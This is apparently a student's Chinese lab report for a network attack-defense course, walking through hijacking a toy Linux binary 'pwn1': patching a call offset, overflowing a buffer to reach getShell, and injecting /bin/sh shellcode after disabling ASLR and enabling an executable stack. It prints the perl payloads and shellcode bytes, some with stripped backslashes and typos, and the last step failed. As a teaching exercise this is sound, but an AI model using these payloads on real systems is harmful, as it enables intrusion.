zoukankan      html  css  js  c++  java
  • Exp1 PC平台逆向破解

    一,实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    • 三个实践内容如下:

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。
    • 这几种思路,基本代表现实情况中的攻击目标:

      • 运行原本不可访问的代码片段
      • 强行修改程序执行流
      • 以及注入运行任意代码。

     基础知识

    • 熟悉Linux基本操作
      • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
    • 理解Bof的原理。
      • 能看得懂汇编、机器指令、EIP、指令地址。
    • 会使用gdb,vi。

    二,实验操作

    1直接修改程序机器指令,改变程序执行流程

    1.1.先将pwn1放入事先以自己学号命名的文件夹,并复制两个备用

    1.2用 objdump -d pwn1 | more 反汇编,可以找到main函数

     

    • "call 8048491 "是汇编指令
      • 是说这条指令将调用位于地址8048491处的foo函数;
      • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
        • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,

    --

    • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

      • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
      • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
    • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    1.3修改机器指令

     用vim指令编辑该文件,出现乱码如下图。

    输入%!xxd进入十六进制编辑模式,根据/e8d7快速找到需要修改的地址

     摁i键进入修改模式。将d7改为c3,并改回原乱码格式。最后wq保存退出。

    反汇编查看修改是否成功。

     如上图,修改成功。call后面的foo已经变味getshell。

    1.4执行文件

     实验成功。

    2,通过构造输入参数,造成BOF攻击,改变程序执行流

    2.1 原理

    系统只预留了28字节的缓冲区给读入字符串,超出部分会造成溢出,我们需要做的是覆盖返回地址。

    main函数中的调用foo,在堆栈上压上返回地址值为"80484ba"。

    本次要攻击的是foo函数,该函数没有输入字符的限制和边界检测;所以输入过多的字符可能就会溢出,写进返回地址。

    即可利用BOF(buffer overflow 缓冲区溢出攻击)技术利用设计好的字符串,让其溢出的部分改变部分内容。

    本实验中要更改的是在函数返回时改变返回程序的地址,让其跳转到我们指定的地址,执行目标函数。

    2.2确认输入字符串哪几个字符会如何覆盖到返回地址

    gdb pwn1调试程序,输入有规律的字符串如1111111122222222333333334444444488888888,发生错误产生溢出。

     info r查看寄存器eip的值,发现输入的888888888被覆盖到堆栈上的返回地址.

    2.3构造输入代码

    寄存器显示时是按照16进制从高位向低位显示,需要从右至左每两个数字一个单位的读取。

    接下来的操作会使这块区域变成我们需要的内容(x7dx84x04x08)即可实现跳转到getShell处执行代码,

    所以我们需要输入的是11111111222222223333333344444444x7dx84x04x08x0a

    由于要改写的字符串"x7dx84x04x08"的ASCII值里面有无法从键盘读入的字符,这时候需要借助令Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。

    输入"perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input" 。  

    可以使用16进制查看指令xxd。

    然后将input文件作为文件的输入。

     3,注入Shellcode并执行

    3.1准备工作

    安装execstack.

    修改设置。

    • execstack -s pwn1 //设置堆栈可执行
    • execstack -q pwn1 //查询文件的堆栈是否可执行
    • more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    • echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

    3.2构造要使用的payload

    Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
    • 选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    接着在终端中注入这一段攻击buf,输入后马上打开一个新的终端。

    在新的终端输入代码ps -ef | gerp pwn3,得到进程号4616

     

     输入gdb pwn3进入调试界面,然后输入attach 4616.

    接下来输入指令disassemble foo,进行反汇编。

    然后设置断点,来查看注入buf的内存地址,指令break *0x0804ae.

    之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续.

    接下来输入指令info r esp,查看栈顶指针所在的位置,并查看改地址存放的数据。

    x4x3x2x1出现在栈顶,这是返回地址的位置.

    shellcode在旁边,计算地址:0xfffe617c+4=0xfffe6180。

     修改攻击代码,将最终地址加进去.

    perl -e 'print "A" x 32;print"
    "x80x61xffxfex90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode.

    实验不成功,经分析kali中的execstack没有下好,实在不会下了,准备重新搞一个kali。

    三,实验后需掌握内容。

    3.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:NOP指令即“空指令”,机器码为:0x90
    JNE:条件转移指令,如果不相等则跳转,机器码为:0x75
    JE:条件转移指令,如果相等则跳转,机器码为:0x74
    JMP:无条件转移指令,机器码为:Short Jump(短跳转):0xEB;Near Jump(近跳转):0xE9;Far Jump(远跳转):0xEACMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果,机器码为:0x39

    3.2掌握反汇编与十六进制编程器

    反汇编指令为:objdump -d <文件名>
    十六进制编辑器perl指令为:perl -e 'print "xxx"' > input

    四,实验心得。

    4.1实验心得

          本次是网络攻防的第一次实验,总体不难,但对我也是一个很大的挑战。在老师和同学的博客的帮助下,自己磕磕绊绊完成了此次实验,但我感觉非常有成就感。不过第三个实验最后一步没有成功,因为kali不能成功下载execstack导致失败。虽然实验完成过程很一般,但重要的是我掌握了方法,大学的学习本来就是一个掌握方法的过程。通过此次实验,让我对于栈的理解更为深刻,同时对于缓冲区溢出的原理也掌握了一些,总体来看还是一次非常愉快的经历。感谢那些给予过我帮助的老师和同学们,谢谢。

    4.2什么是漏洞?以及其危害?

        漏洞是指软件或者系统等在具体实现过程中产生的意料之外的缺陷。

        漏洞轻则可能造成软件打不开,系统异常或者崩溃;重则危害个人以及国家秘密的安全,影响人类社会正常运转。

  • 相关阅读:
    SQL性能优化思路
    EF Migraiton错误解决
    How to resolve the 403 error when send POST request from Postman
    Disable trigger to avoid the ID is auto-updated
    MBG(Mybatis Generator)配置
    Publish Web Site To IIS From VS
    quickSort算法导论版实现
    Clang与libc++abi库安装
    Clang与libc++abi库安装
    整数中1 的个数
  • 原文地址:https://www.cnblogs.com/lhz20174305/p/12491867.html
Copyright © 2011-2022 走看看